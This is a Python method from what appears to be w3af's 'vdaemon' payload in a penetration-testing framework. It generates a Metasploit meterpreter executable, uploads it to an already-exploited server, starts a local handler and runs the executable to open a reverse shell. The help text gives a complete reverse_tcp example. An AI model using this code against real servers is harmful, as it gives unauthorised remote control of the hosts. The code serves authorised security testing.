'This is the entry point. We get here when the user runs the
"payload vdaemon linux/x86/meterpreter/reverse_tcp" command in his w3af
shell after exploiting a vulnerability.
:param user_defined_parameters: The parameters defined by the user, for
example, the type of payload to send.
:return: True if we succeded.'

def run(self, user_defined_parameters):

    msg = 'IMPORTANT:\n'
    msg += '                You    need    to    specify    the    payload    type    in    MSF    format    as    if    you    '
    msg += 'were    calling    msfpayload:    \n'
    msg += '                linux/x86/meterpreter/reverse_tcp    LHOST=1.2.3.4\n'
    msg += '                And    then    add    a    pipe    ("|")    to    add    the    msfcli    parameters    for    '
    msg += 'handling    the    incoming    connection    (in    the    case    of    a    reverse    '
    msg += 'shell)    or    connect    to    the    remote    server.\n'
    msg += '                A    complete    example    looks    like    this:\n'
    msg += '                linux/x86/meterpreter/reverse_tcp    LHOST=1.2.3.4    |    exploit/multi/handler    PAYLOAD=linux/x86/meterpreter/reverse_tcp    LHOST=1.2.3.4    E'
    if ('|' not in user_defined_parameters):
        raise ValueError(msg)
    msfpayload_parameters = user_defined_parameters[:user_defined_parameters.index('|')]
    msfcli_parameters = user_defined_parameters[(user_defined_parameters.index('|') + 1):]
    payload = msfpayload_parameters[0]
    msfpayload_parameters = msfpayload_parameters[1:]
    msfcli_handler = msfcli_parameters[0]
    msfcli_parameters = msfcli_parameters[1:]
    try:
        executable_file_name = self._generate_exe(payload, msfpayload_parameters)
    except Exception as e:
        raise BaseFrameworkException(('Failed    to    create    the    payload    file,    error:    "%s".' % str(e)))
    try:
        remote_file_location = self._send_exe_to_server(executable_file_name)
    except BaseFrameworkException as e:
        error_msg = 'Failed    to    send    the    payload    file,    error:    "%s".'
        raise BaseFrameworkException((error_msg % e))
    else:
        om.out.console('Successfully    transfered    the    MSF    payload    to    the    remote    server.')
        if (not self._start_local_listener(msfcli_handler, msfcli_parameters)):
            error_msg = 'Failed    to    start    the    local    listener    for    "%s"'
            om.out.console((error_msg % payload))
        else:
            try:
                self._exec_payload(remote_file_location)
            except Exception as e:
                raise BaseFrameworkException(('Failed    to    execute    the    executable    file    on    the    server,    error:    %s' % e))
            else:
                om.out.console('Successfully    executed    the    MSF    payload    on    the    remote    server.')
